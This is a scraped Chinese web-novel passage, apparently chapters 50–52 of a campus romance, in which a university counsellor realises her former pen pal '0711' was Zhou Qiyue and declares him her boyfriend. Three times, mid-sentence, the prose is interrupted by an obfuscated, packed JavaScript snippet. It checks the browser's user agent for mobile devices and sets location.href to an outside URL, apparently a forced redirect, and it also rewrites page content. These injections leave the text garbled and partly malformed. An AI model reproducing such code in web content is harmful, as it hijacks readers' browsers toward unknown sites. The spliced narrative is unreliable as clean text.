“她是我学生。”陈夏柠面色沉重,长叹一口气。眼前这种结果,她并不意外。 一个人有没有把你放在心上,从极小的事就可以看出来。 这个道理,陈夏柠也是花了很长一段时间才懂得。 温可颜会记得江澈不吃香菜,江澈却把这件事当成理所当然。 她将他放在第一位,而他呢,有那么多人喜欢,她只不过是一个随时可替换的选择。 “你走不走?”江澈注意到别人的目光,喊她起来,她也不动,“老子走了。” “......” 男生转身离开,温可颜整个人蹲在地上,捂着脸哭得更厉害了。 “我去看看。”陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14411903|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏柠跟周祈越说。 她快速走过去,蹲在温可颜旁边,拍拍她肩膀。 陈夏柠牵着她回到中心广场,坐在长椅上,像个知心姐姐,能懂得她此刻的心情,也不说什么大道理,只是安静地给她递纸巾,等她冷静下来。 过了一会儿,温可颜哭够了,跟她道谢,“导员,我.....” “有什么事,明天说吧。”已经十一点了,从这里回学校还得半小时,陈夏柠揽着她的肩膀边走边说,“你放心,我不会跟任何人说。如果你信得过我,明天上午来找我,我来帮你答疑解惑。” 她们女生的对话,他也不好掺和。周祈越老实巴交地站在远处,能看得见她的位置等着她。 三人一前一后走出公园,陈夏柠先拉开车门让温可颜做进去,回头看向周祈越,后知后觉道:“对了,你刚才是不是有什么事?” “没什么,就是还有一场烟花,”周祈越不咸不淡道,“不看也行。” “嗯。” 陈夏柠眼神示意要陪温可颜,打开后车门坐在后座。 周祈越送佛送到西,把车开进校园。 看见温可颜进入宿舍,陈夏柠算是松一口气,最害怕她心情低落,有什么想不开的。 抑或者像曾经的自己一样,失恋当天跑去酒吧喝酒,还遇到了点麻烦。 车子驶离宿舍区域,倏然停在马路边缘。 周祈越回头看她,命令的语气:“你,坐前面。” 陈夏柠心想有必要么,“都快到家了。” 周祈越兀自下车,铁了心似的,拉开后车门。陈夏柠也不懂他在较什么劲儿,在被拉出前,识趣地下车,火速开副驾驶门,坐进去。 周祈越站在车外,颇为满意地笑了笑。 她歪头问:“能走了吗?” “我去上个厕所。”周祈越从口袋里摸出手机,随手扔到她怀里,把门关上。 陈夏柠只觉得他的手机真大,掏出自己的,将两部手机放在一起比一比尺寸。他的手机是最新款,现在的手机屏幕越造越大,一点也不顾及女同志的手。 有句怎么说来着,人类迟早会送口袋里掏出一台液晶电视。 陈夏柠用惯了小屏手机,用的还是四年前买的,一直没舍得更换。 不知怎的,她猛然想起,上一台手机保存着自己写信的内容。 当时宿舍有打印机,她每封信都是在备忘录里写着,然后打印出来。 如果找到上一台手机,那岂不是就能和0711的信对应起来了。 忽然,周祈越的手机响了,来电显示谢泽。 陈夏柠瞬间慌了起来,跟摸了烫手山芋似的,径自把手机放到中控台。 停了三秒,对方又打来,挂断......又打来...... 如此急促,似乎有什么天大的急事。 陈夏柠深呼一口气,点击接通,根本插不上话。 “现在跟你打个电话都得三顾茅庐是吧。”谢泽气冲冲,说话不喘气似的,“怎么样,烟花告白浪不浪漫,陈老师是不是感动得落花流水?” 陈夏柠:“......” 烟花!告白?! 感动得落花流水...... 谢学长怎么总乱用成语。 “说话啊!”谢泽没得到回应更恼了,“你高兴死了?” “......”陈夏柠巍巍颤颤地开口,“那个...他上厕所去了。” 对面迎来一阵沉默。 隔着屏幕,谢泽看一眼时间,都他妈快十二点了。 接电话的人是陈夏柠,还来一句,他上厕所了去。 牛逼啊! 周祈越进展火速啊,表白成功就滚床单的! “不好意思,打扰二位了。”谢泽讪笑,“你们继续。” 电话挂断。 陈夏柠满脸问号。 你们继续? 继续什么? 恰在此时,主驾驶车门打开,周祈越坐了进来。 陈夏柠手忙脚乱地还他手机,这才注意到屏幕的时间定在了零点。 几乎是一瞬间,明白了什么。 我靠! 完了! 他两彻底被误会了。 周祈越启动车子,随手滑一下屏幕,陈夏柠见状磕磕巴巴道:“那个...刚刚谢学长打电话了。” 周祈越动作一顿,“他说什么了?” 陈夏柠脸红耳热,难以启齿:“没什么,我就说你不在。” 周祈越看她一眼,“那你怎么脸这么红?” “有吗,太热了。”陈夏柠煞有介事地做了个扇风的动作。 51. 沉默的爱 “欢迎光临。” 早上八点半,校外的咖啡店刚开门营业,人数不多。陈夏柠推门进去,就看见许佳念正坐在窗户边朝她挥手。 走过去入座,面前已点好拿铁,陈夏柠抿唇一笑:“今天周四,不用上班吗?” “是啊,但我的好姐妹昨天半夜发消息说,想我了,我害怕她思念成疾。”许佳念双手托着下巴,拖腔带调道,“于是我这么不远万里地来见她了,你说,我够不够义气?” 陈夏柠慢悠悠地抿着拿铁,等她说完,点头如捣蒜,又双手合十,“念念最义气了!小的来世为您做牛做马。” 旁边打扫卫生的服务员露出一脸“这两人吃错药了吧”的表情。 “......” 陪她演完,陈夏柠表情恢复如常,朝她勾勾手指,“手机。” 许佳念意犹未尽地切了声,从包里掏出一个旧手机,“你就不能多演会儿吗?” “再演,咱俩就要变成精神病轰出去了。”陈夏柠低头捯饬着手机,边循规蹈矩地发问,“你最近又看什么偶像剧了,男女主多少集在一起的?” 许佳念:“第一集就睡了。” “......”陈夏柠神色稍愣,“你什么时候喜欢这么重口味的了。” “是我策划的短剧。”许佳念喝了口咖啡,正色道,“短剧的节奏就是要快,开局就要有爆点,要不然怎么吸引观众来看啊。” “嗯嗯。”陈夏柠对拍摄电视剧一窍不通,也很少看偶像剧,但每次许佳念愿意分享自己热爱的东西,她就认真听着。 “我的短剧拍完了也播完了,”许佳念顺水把话题推向她,“你和周祈越怎么还没在一起啊,你俩也太慢了,我这个观众很急的好吧!” “......” 手机屏幕刚开机五秒,又灭了。 陈夏柠答非所问:“怎么回事?” “一直放在抽屉里,我压根没用过。”许佳念说,“我试过了,充不进去电,估计电池坏了。你闲着没事要它干什么,要不是你昨晚说,我都忘了我家还有你的手机。” 大四开学前,陈夏柠在她家住着,心情极为低落,后来振作起来,第一件事就是想着挣钱。她找了展会兼职,许佳念暑假在家也没事,就陪着她一起。 手机被摔碎是开学的前天,当时老板搬桌子没注意到手机在上面,只听见“啪”清脆的声响。碎裂的不是钢化膜,而是原装屏,无法开机。 老板也没推卸责任,赔了她两千块钱。 手机店报价原装屏得一千二,陈夏柠觉得太贵,而且自己的手机用了四年,内存告急,索性凑够四千新买一个。 但许佳念不乐意了,手机里拍了很多她的美照,其他的还好,偏偏在做展会的时候遇见了自己的偶像,陈夏柠给他们拍的照片还没来得及发。 她和偶像的合照!人生独一份啊! “不行,你给我。”许佳念将她的破手机保存好,“等我哥回来,让他修,他肯定能修好。” “行,送给你了。”陈夏柠无所在意地说。 ...... “对了,这里面的东西你删没删?”陈夏柠问,“比如备忘录?” “没吧。”许佳念想了想,“我在网上花五十块钱买了个平替屏幕,我哥修好后,你这手机太卡顿,我传完照片就没用过了。” “那就好那就好。”陈夏柠神色一松。 许佳念穷追不舍:“所以你跟周祈越怎么还没在一起啊,急死我了。” “.....” 这话题应该绕不过去了,陈夏柠一五一十地将周祈越两次想告白的情况说出来。 须臾,许佳念哀叹一声:“妈耶,你这么扫兴的嘛?” 陈夏柠:“......” 天地良心,她真不是故意的。 第一次在商场,周祈越将花拿出来,应该是想说要不要做我女朋友的话,但看见她疼得难受的模样,没说出来。 第二次在昨晚烟花秀结束后,周祈越还要带她去看烟花,陈夏柠却碰见温可颜,光顾着安慰自己的学生,没顾上他。 也是接到谢泽的电话,她恍然明白,自己错过了一场独属于他们的告白烟花。 陈夏柠摊了摊手,“我也不想啊,就每次有很多事......” “砰”的一声,咖啡杯磕在桌面,许佳念恨铁不成钢朝她要手机,“哪这么麻烦,你现在打电话,问他要不要做你女朋友,不,男朋友。” “......” 陈夏柠噗嗤笑出声:“这么随便么?不得有点仪式感?” “你俩就是太注重仪式感还在这一直耗着。”许佳念言辞凿凿地助威,“表白而已,又不是结婚,要什么仪式感,什么时候不能说。你去告诉他,想做他女朋友啊!让他知道你的心意啊!” 陈夏柠一副犹犹豫豫的样子,“我......” “别告诉我你拉不下面子啊。”许佳念觑着她,讷讷道,“女生也可以表白啊,你又不是没试过。” 对于江逸风,还没说出口,就看清他这人了。 站在现在的角度,倒也庆幸没说出口。 真要较真起来,她真没试过向一个男生表白。 “没有拉不下面子。”陈夏柠摇头笑了笑,“等我确定完一件事就说。” “什么事儿啊?” 陈夏柠暂且保密,看了眼时间,最迟九点要在工位的,起身说:“你也快去上班吧。” “今天不上班,调休。”她一秃噜嘴说出来。 “我就知道!”陈夏柠瞪她一眼,佩服这位戏精,“走了。” 咖啡店对面就有一家手机维修店,老板说她这手机搁置太久了,一时半会儿修不好,让她晚饭后来领。陈夏柠点点头,特意嘱咐不要刷机。 * 回到办公室,陈夏柠看了看2202班的课表,第二节没课,不知道温可颜会不会来。 一工作起来,时间过得也快。下课铃声响起没一会儿,导员办公室照旧拥着很多学生干部。 直到自己办公桌覆下一层身影,视线上挪,对上温可颜的脸。大概昨天哭了太多,小姑娘眼睛红肿着。 陈夏柠关上电脑,起身,使了个眼色:“换个地方。” 每个学院都设立独立的谈心室,方便老师和学生交流,位于教学楼顶层,室内环境设计温馨舒适,巨大的落地窗,今天阳光也极好。 陈夏柠给她泡了杯茶,两人面对面坐在沙发上,中间隔着一个小圆桌。 “我先说吧,我学生时代呢,有喜欢过一个人,一直不敢表白,但只要一看见他跟别的女生走的近,我就会特别难受,”陈夏柠瞧着她,缓缓说,“这种患得患失的感觉,你谈恋爱后也会有对么?” “刚开始还好,可是慢慢的,我发现......”温可颜低垂着眼,咬了下唇,“他对很好,但对其他女生也很好,我不知道是不是自己小心眼。” “当然不是你小心眼,你的反应没有错。爱情是唯一的,自私的,不能和其他人共享。”陈夏柠顿了一下,“你想要的难道不是唯一么?” “嗯。”温可颜点了点头,“他对我很好,我希望这份好,是唯一的。但他说,给不了......” “在一段感情中,安全感是相互的。如果对方频繁让你伤心难过,没有给你安全感,你就要学会止损。” 劝慰温可颜就像劝慰曾经的自己,陈夏柠推己及人地说,“我觉得一份好的喜欢应该是让自己变得更好,在认清对方后,我选择放弃这个人,不去喜欢他。” 室内悄然迎来一阵沉默。 良久,温可颜再次低下头,豆大的眼泪簌簌掉落,“我想过,可我真的...很喜欢他,从高中就很喜欢。” 她还是不舍得。 陈夏柠给她抽纸,循循善诱:“那你可以跟我说,怎么喜欢上他的。” 十七岁的温可颜和她有很多相似之处,被父母管教的很严,乖巧本分的外表下有一颗想自由叛逆的心,所以她极其羡慕这样的人。 江澈是她隔壁班的男孩,对她的了解,是从同学的八卦中得知,他篮球打得很好,经常蝉联年级前列,学校公认的浪荡校草。 之所以说他浪荡,是因为他身边总是换着不同女孩子。 纯洁如白纸的温可颜从未喜欢一个人,整天留着学生头,内向的性格,也从未被喜欢过。 仅仅是听到江澈这样的天之骄子,她就知道他们不是一个世界的人,便打消任何幻想的念头。 直到高二那年运动会,温可颜被拉着坐在看台下给自己班加油,视线不由自主落在篮球场上一抹黑色球服,打球最好的男生,那么潇洒恣意的少年。 中场休息,她从篮球场走过,下场的队员抛掷着篮球,一不小心松了手,忽然,那只球朝她的方向弹过去。 温可颜吓得做遮挡的动作,再睁开眼发现,那位穿黑色球服的少年接住了那只球,回头看她,漫不经心一笑,语气轻佻:“不说声谢谢?” 两人站得很近,男生桃花眼风情炽热,女生瞬间红了脸,说声谢谢,急忙跑走。 “从那天开始,我不受控地关注他这个人,”回忆曾经,温可颜还是忍不住心动,说,“他很有礼貌,很有教养,会跟讲题的老师说谢谢,也会给校园的流浪小猫喂食。” “我发现自己喜欢上他的那刻,努力在成绩上靠近他,能看到年级排名上我的名字和他挨在一起,我就特别开心。” “后来从朋友口中知道他被保送到了航空大学,我也就鬼使神差地让自己的志愿全部填在海云。” 陈夏柠不置可否,追问:“那你们是怎么在一起的?” “上大学后,两校经常有共同的学术会议,起初我们成为竞争对手,接触多了也就成为朋友。”温可颜是付出很多努力,让自己优秀,才有机会走到他身边。 就是有一天,江澈前女友蒋梦在聚会上对他死缠烂打,嚷嚷着求复合。 江澈看一眼自己右手边的女生,说:“现在我女朋友是她。” 温可颜心一颤。 蒋梦摇摇头:“我不信!你是为了气我对不对?” 下一刻,江澈当着所有人的面,牵起她的手:“我们高中同校,她就在我隔壁班,我早就喜欢她了。” 温可颜胸腔好似有只跳跳球上下乱窜,那些曾经掩盖的暗恋心事再也藏不住。 江澈对含情脉脉的笑了笑:“不信你们问问,我女朋友是不是真的?” “我的确喜欢江澈。”温可颜做了从小到大最勇敢的事,当面承认自己的喜欢。 饭局结束,贴吧疯传江澈的新女朋友。 江澈找她坦白:“抱歉,利用了你,也谢谢你陪我演一场戏。” 果然,就是在演戏。 有那么一刻,温可颜幻想他说的是真的,他记得她是隔壁班的同学,也同样喜欢着她。 幻想打破的那刻,为他怦然的那颗心,从云端不断往下坠。 “江澈,我没有在演戏。”温可颜水灵灵的眼眸望着他,眼神真挚,一字一顿道,“我喜欢你。” 江澈也望着她,两人就这么对视着,男生的眼神发生变化,在女生眼泪掉落时,抬手拂去。 也就是那天,他们在一起了。 少女十七岁的暗恋成真。 听完整个故事,陈夏柠怎么都不觉得这是一段健康的恋爱。 从一开始温可颜就不是唯一,她没说这话,有条有理地分析着:“出现在篮球场为你挡球,即使是别人他也会做。如果当时坐在他身边的女生是别人,他牵手的会是另一个女生。” 温可颜哽咽了下:“我知道,可他就是很好啊。” “最初你偷偷关注他,你觉得他很有礼貌,很有教养,跟讲题的老师说谢谢,给校园的流浪小猫喂食这些事......” 陈夏柠切实体验到什么是旁观者清,体验到“滤镜喜欢”,犹豫了几秒,“这些事不是正常人都会做的事吗?很多学生都会啊,你去看看你的同学,他们都会做这些。” “......” * 下午放学,陈夏柠迫不及待地去维修店取手机,而后回家,将0711的信翻出来。 备忘录里保存着很多年编辑的写信内容,实在繁多。 她每打开一封信,就对应着日期去找备忘录的内容。 两人的对话像在手机上发微信一样,她是1007,他是0711。 1007:[展信舒颜!第一次写信,不知道你是不是我想找的人。祝你笑口常开心想事成。——2015.10.6] 0711:[生日快乐!我们生日有着同样的数字,那么收到这封信的你有答案了吗?——2015.10.7]

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14429492|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 1007:[To0711同学,我的回信就是我答案。——2015.10.8] ...... 1007:[在手工社学做花艺,给你画一个我的作品。两朵向日葵,白色mini菊和春叶兰作点缀。嘿嘿,我喜欢向日葵。——2016.4.22] 0711:[向日葵有一个花语,猜猜我想说的是什么。——2016.4.23] 1007:[我可没有读心术,但我想到的是,沉默的爱,没有说出口但默默关心和陪伴。——2016.4.24] 0711:[嗯,你赢了,我想的就是这个。——2016.4.25] 1007:[有什么奖励吗?——2016.4.26] 0711:[奖励你有读心术。——2016.4.27] 1007:[我的沉默震耳欲聋......?——2016.4.26] ...... 1007:[天气不错,就是本人衰神附体。登录教务系统选课,忘记密码。等找回密码,好的选修课没名额了。最后选了一个什么海事国家会议翻译,工科狗去学翻译[捂脸]。——2016.9.1] 0711:[是嘛,怎么觉得也挺不错,想选。——2016.9.2] 1007:[你压根没有选对不对[哼]。——2016.9.3] ...... 1007:[今天的心情不太美丽,早八真的好痛苦呜呜,一大早跑去西点房排队,被冷风吹感冒了,还没买到我心爱的鸡蛋火腿味三明治。 真心向你推荐这个三明治,特别好吃!就是太多人了,大早上很难抢到,要是西点房能做多一点就好了。——2016.11.15] 0711:[听说向我许愿,你的愿望会成真。——2016.11.16] 1007:[信女在此许愿,每天能抢到西点房的三明治。 许完愿了,偷偷问一句,听谁说的?——2016.11.17] 0711:[听我说的[傲娇]。——2016.11.18] 1007:[额.....我还是多拜拜上帝吧。——2016.11.19] ...... 1007:[上帝听到了我的心声,西点房加大三明治的供应量,以后每天不用早起也能买到啦。——2016.12.1] 0711:[最近在看《繁花》,将扉页上的一句话送给你:上帝不响,像一切全由我定......——2016.12.2] ...... 1007:[最近室友的那句唯有美食不可辜负,真不错。 学习压力大的时候,去七号门的美食街搓一顿就好了。——2017.4.22] 0711:[那你最喜欢吃什么。——2017.4.23] 1007:[酱香饼和红豆薏米粥。“大同学”和“小同学”这两个摊位名很有意思吧。江湖外号人称,兄弟摊位。——2017.4.24] 0711:[的确很有意思,多吃点,就算你变成小胖妞了,我也不会嫌弃你这个笔友的。——2017.4.24] 1007:[变成小胖妞了先给你一拳![白眼]——2017.4.25] 看到这,陈夏柠不禁笑了笑,她都忘记以前写信是这么好玩的事,怪不得能从大一坚持到大三。 快速翻阅,跳跃到她的最后一封信。 1007:[明天我打算做一件勇敢的事,是一件我从十七岁就在密谋的事,无论成不成功,我都想给自己一个交代。——2018.7.10] 航海日的前一天,按照日期可以推断出,她指的是,找江逸风表白。 陈夏柠收好剩下未拆封的书信,从家里出来,走的很慢。 回忆像播放电影一样,一帧帧地闪过。 生日当天,周祈越送的向日葵花束,怪不得她觉得很眼熟,也纳闷他怎么知道自己喜欢向日葵。 选修课坐在她身后的少年;那个扯她帽子,跟她借纸笔的少年;那个在下雨时往她连衣帽放折叠伞的少年。 在朝阳岛每天早上都能收到他买的鸡蛋火腿芝士味三明治。 那天在七号门,周祈越问都没问,就跑去给她买酱香饼和红豆薏米粥。 然后,耳边又响起许多声音。 西点房的师傅说—— “他当时还跟我死不承认,绝对是为了喜欢的姑娘。” “我还是第一次看见有男孩子向你这么良苦用心,不知道你后来跟那个姑娘怎么样了。” 林教授说—— “其实我也纳闷他选那课干什么,毕竟理论课他们都修完了。” “后来我也能理解了,你们都为了见他而选我的课,那他可能也为了见某个人吧。” 陈夏柠不敢想,这些曾经她认为,是他为暗恋对象做的事,变成了她。 她甚至感觉错乱。 曾经写了两年多的笔友,也变了另一个人。 她一直以为是江逸风,所以不愿回忆,也试着忘却。 当看到那份亲笔书信,陈夏柠无端陷入怀疑。 两人的字各有风格又大相径庭,周祈越的字端正又不羁,而江逸风的字是草体,很飘逸,甚至不太好看。 在看到字迹,陈夏柠下意识想到周祈越,又不理解为什么是他。 0711,7月11日,航海日。 不止是江逸风的生日。 也是周祈越的生日。 或许,从一开始,她就搞错了。 晚饭嗖嗖地刮在耳边,陈夏柠来到校门口,看见成群结队的少年,他们身上的航海服有白色的也有深蓝色的。 她停住进校的脚步,整个人思绪很乱,脑海里只有周祈越。 站在冷风口,陈夏柠身体发抖,不是冷,而是不安和慌张,她不受控地掏出手机,拨通一个号码。 “怎么了,想我了?”周祈越漫不经心的笑。 “嗯,很想你。”陈夏柠喉咙里像堵塞了什么东西,“你下班了吗?” 那边周祈越也愣了下,“下班了,在回去的路上。” “那我等你,我想见你。”陈夏柠顿了下,“我有话想跟你说。” “好,等我。” 52. 名分 校门口来往的人太多,陈夏柠没继续待下去,明明刚从海天宜城出来,现在又原路返回。 反正今天没什么特别的事,不去查晚自习也没关系。 还没有吃晚饭,原本打算回学校食堂凑合一下,此刻只想等他回来一起吃。 他开车肯定会从正门入,这是最近的门。 这会儿整座城市华灯初上,小区门口两侧绿化带生长着绿油油的灌木丛,有只橘猫在草地上打滚,“喵喵”的叫着。 陈夏柠走过去,蹲在一旁,歪头看它,很像许佳念养的小橘子,但小橘子被养的很肥,这只猫就很瘦。 看到人,这猫也不怕,翻了下身体,蓝宝石色的瞳孔直直地望向她,肚子发出咕噜噜的声响。 这是饿了吗? 陈夏柠翻了翻口袋,搜刮出一小袋面包,撕开包装,给它喂食。 这猫也不吃,肚子里继续发出咕噜噜的声音,很舒服的样子。 哦,想起来了。 狗狗表示友好会摇尾巴,猫猫表示友好就是肚子发出声响。 陈夏柠嘿嘿一笑,抬手摸它的头,这猫一点不见外,兴味盎然地往她手心凑。 旁边暖黄色的路灯落在女生后背,好似一把无形的保护伞罩着她,内心的忐忑随之消散。 从前觉得,等待是一件煎熬的事。 此刻她发现,等待代表着希望和期许。 自从遇见他后,从前不美好的事也变美好了。 陈夏柠表面在安静撸猫,内心实则排练着要表白的台词。 ——“周祈越,我…我想说,我、喜、欢、你。” 带入自己说这话矜持的模样,咦……好矫情啊…… 鸡皮疙瘩掉一地。 然后她仿照周祈越的宣战式表白,脑补另一个版本。 ——“周祈越!本小姐爱上你了!做我男朋友吧!” 霸道总裁式表白,不同意也得同意。 呃.....用力过猛了。 但周祈越平日那副傲娇嚣张的模样,也不知道两人正式在一起后,她能不能hold住这位男朋友。 不能总被他牵着鼻子走吧。 所以,她得从一开始掌握主动权,还是强势点好。 将两个版本中和一下。 正思考着,察觉身后的脚步声,陈夏柠余光瞥见向自己靠近的影子,心跳怦怦然,急不可耐地站起身。 “周——”刚出一个音节,她脸上的笑容僵住,下一秒板着脸改口,“怎么是你。” “怎么不能是我?老子可是费了好大功夫才知道你住这。”江逸风朝她点下巴,笑容浪荡,语气轻佻,“得,在这碰见了,省得我再去打听你住哪栋楼了。” 陈夏柠只觉得他莫名奇妙,冷不丁道:“我住在哪,跟你没关系。” 江逸风扯了扯唇角,将藏在身后的鲜花拿出来,正色道:“给你买了最喜欢的花,就当我给你道个歉,别生气了。” 陈夏柠敛眉,定定地望着眼前鲜红的玫瑰。 “夏夏,之前是我不好。”江逸风看她不为所动,继续拉下面子,好声好气地哄着,“原谅老子行不行?” 她回神,抬起眼睫:“江逸风,我问你一个问题。” “你说。” 陈夏柠郑重其事地问:“你如实回答我,大一那年你有没有参加过文学社的书信活动?” “什么书信活动?”江逸风下意识出口,想了一下,“哦,有印象。我帮林盛投过信。” 陈夏柠神色稍怔,激动地问:“所以你根本没参加?” 当时正值大一上学期,刚步入大学生活,新生总会关注各种社团活动。 周五下午全校大多没课,室外足球场有比赛,陈夏柠和季意来当观众,前者注意力只在江逸风身上,后者望着全场的帅哥哀叹:“老天爷就不能赐给我一个长得帅的男朋友吗,我他妈母胎solo十八年了,连一个异性朋友都没有。” “......” 中场休息,两人靠着球场围网喝水,身后就是文学社的帐篷,横幅上写着“风里雨里,我在找你”,陈夏柠以为这是什么寻亲活动,也没在意。 很快,帐篷前来了很多同学,有位学长介绍此次活动。 陈夏柠听得清清楚楚,跟季意说:“说白了,这在鼓励我们以信交友,恋爱。” 一听到有助于恋爱,季意立马来劲儿了,拉着她赶紧去报名。 学长给他们发信纸和信封,想参与的同学写好交上去。 陈夏柠本不感兴趣,直到在人群中看见江逸风跑过来问:“学长,给我一个。” 她这才提笔去写。 江逸风跑回球场休息帐篷底下,把书信和笔塞进林盛怀里,“给。” “谢了,哥。”林盛踢球脚崴了,不能走路,就拜托江逸风帮他拿。 瞧见他动笔写,江逸风嗤笑:“这活动有什么意思啊,你还真信?” “你江大少爷桃花多,当然用不着。”林盛说,“我女神参与了,说不定能和她成为笔友。” “那倒也是。”江逸风引以为傲道,“从来只有女人追我的份。” “......” 陈夏柠写完第一封信,按照规则在信封上写好生日编码交上去,离开时刚好瞧见江逸风也来交信了。 三天后,周一,学校北广场搭建起一面墙,挂满了蓝色和粉色的信封,分别代表着男生和女生。 按照规则,谁先选中某一封信,就去找学长登记,那么被选中的人就不能再选,先到先得。 陈夏柠来的很早,原本来担心会不会有人撞生日,或者他的信先被其他人选走,扫视一圈,墙上只有一个0711。 她选择了那封信,并做登记。 ...... 江逸风之所以对这事有印象,是因为林盛当年还真走狗屎运,靠写信追到了女神,到现在都没分手。 想起这个活动的性质,他不咸不淡道:“我怎么可能对这种活动感兴趣。” 对啊。 江逸风身边从不缺送上门的女人,哪里需要通过写信认识女孩子。 写信在他眼中,都是老套幼稚的把戏。 陈夏柠恍然大悟,这么多年,真就是搞错了。 “我知道了,谢谢你告诉我这些。” 说完转身要走。 江逸风还捧着花,快步挡住她的去路,“夏夏,我们重新开始好吗?” 什么叫重新开始。 他们压根就没开始过。 无非就是她曾经喜欢他,他假装看不到。 在很多个瞬间,给了她希望,又总以“邻居家妹妹”的名义划清界限。 陈夏柠神色复杂,冷笑一声:“江逸风,我不知道你又在唱哪一出,我现在堂堂正正地告诉你,我没生你的气,也原谅你曾经的所作所为了——” 听到这,江逸风眉眼一抬。 陈夏柠继续说:“但我已经有了喜欢的人,再也不想跟你有任何瓜葛。” 此言一出,江逸风噙着的笑转瞬消逝,眼底阴翳,质问:“是不是上次那个人?” “跟你无关。”陈夏柠凉凉道,绕道离开。 忽然,手腕被强势的力度攥住。 “你干什么!松手!”陈夏柠作势往回扯。江逸风偏不松手,收紧力度将她整个往自己怀中带,玩味道,“老子看上的女人,我看谁敢抢。” 此刻陈夏柠只觉得他恶心,使出全身力气正准备踢他,倏忽,一道身影横插在两人中间,玫瑰花落地,一拳头落在江逸风的脸上。 陈夏柠手腕猛地一松,身体惯性地往后踉跄。见状周祈越回身,揽过她的肩膀,将人扶稳。 “没事吧?”他的视线落在她右手腕,陈夏柠摇了摇头。 一旁的江逸风已经从地上站起,握紧拳头,二话不说冲上前,“你他妈敢打老子!” 周祈越将女生拉在自己身后,没有及时设防,侧脸也挨了一拳。 一时间,两个血气方刚的男人谁也不肯放过谁,撕打起来,场面极为混乱 江逸风:“你他妈谁啊,有什么资格干涉我们。” “别一口一个你们。”周祈越哂笑,“你才是最没资格的人。” “别打了!别打了!” 陈夏柠趁两人分开的间隙,挡在周祈越前面,跟他对峙。 江逸风僵着身体,目光流转在两人,还未等她开口,自己胸口就已闷得慌。 然而陈夏柠偏要说出口,给他重重一击。 “江逸风你没资格,他有资格,因为他是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14448973|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男朋友。” ...... 房门关上,客厅的灯打开。 陈夏柠扶着周祈越到沙发坐下,找来医药箱放到茶几上,拿出酒精和碘伏。 他倾身搭把手,刚撕开棉签。 “我来。”陈夏柠强势地夺过他手中的棉签,推着他的肩膀,语气急了点,“你坐好!” 周祈越径自往沙发背一靠,抱着胳膊,开启怨妇模式:“好啊,被挨打不说,现在还要挨骂。” 陈夏柠:“......” 这么敏感肌的吗? 差点忘了,他受伤时惯会难为人。 “没骂你。”她耐着性子柔声说,边将棉签沾上碘伏,转身一看,他这仰躺的姿势,倒不知道怎么上药了。 她注意措辞和语气,缓缓道:“你能坐起来么?” 周祈越姿势未动,撩起眼皮,懒懒看她:“受伤了,动不了怎么办。” 陈夏柠:“......” 她就知道。 但周祈越又是因为她受伤,自己不占理。 陈夏柠直起腰,两只膝盖跪在沙发垫,手中拿着棉签,俯视他的脸,唇角破了点皮,颧骨下方红肿。 这人受伤不遮掩颜值,反而给面部增添了野性。 为了看清他的伤口,陈夏柠不得不倾身,观摩着他的伤口,拿棉签小心翼翼地点着他侧脸。 他躺的区域有点背光,为了看清他唇角伤口,陈夏柠不断低下头,凑得原来越近。 距离近到两人的呼吸交融。 两人的目光也总是相撞在一起。 陈夏柠要棉签,涂完碘伏又找来消炎药膏,动作一来一回,少不了肢体接触。 这样的氛围实在暧昧。 周祈越也不知怎么了,过于安静,目不转睛地盯着她。陈夏柠实在遭不住他这么灼热的目光,拿棉签的手指不自觉颤抖。 “疼吗?”她尝试找话题缓解氛围。 周祈越闻着她身上撒发出的清香,喉结一下又一下地翻滚着,拿腔拿调道:“你亲我一下就不疼了。” “......” 陈夏柠握棉签的手一停,屏住呼吸,跟他对视。 周祈越那双漂亮又妖娆的眼睛,自带蛊惑人心。 她鬼使神差地继续俯低身体。 下一刻。 周祈越右眼睑敷上一层温热的触感,是她柔软的唇瓣,很轻。 女生的亲吻只短暂地停留三秒。 意识到自己在做什么后,陈夏柠浑身血液高涨,慌里慌张地拉开距离,转身从沙发上下来,刚站起身正要走。 周祈越抓住她的手臂,也站起来。 紧接着,陈夏柠感受到身后伸出两只手环住她的腰腹,男人的胸膛贴着她的后背,下颌抵在她右肩。 陈夏柠脑袋嗡嗡响,完全不知该做何反应,身体蜷缩在他怀中,像是被掌控一般,任由他支配。 随着他一侧头,就亲到她的脸颊了! 他说:“这次,是你先主动的。” 难道上次不也她主动的? 陈夏柠只觉得被他亲过的半边脸像电流接口,传遍全身。 周祈越双手扣在她前腹,收紧着力度,好似要把她揉进自己怀中,融为一体,“给个名分。” 陈夏柠讷讷道:“我刚才不是说,你是我男朋友了么?” “你那是当着别人的面,倒像是一时说的气话。”周祈越唇凑到她耳边,呼出的热气喷洒在她耳廓,嗓音低沉,“我想听你亲自跟我说。” 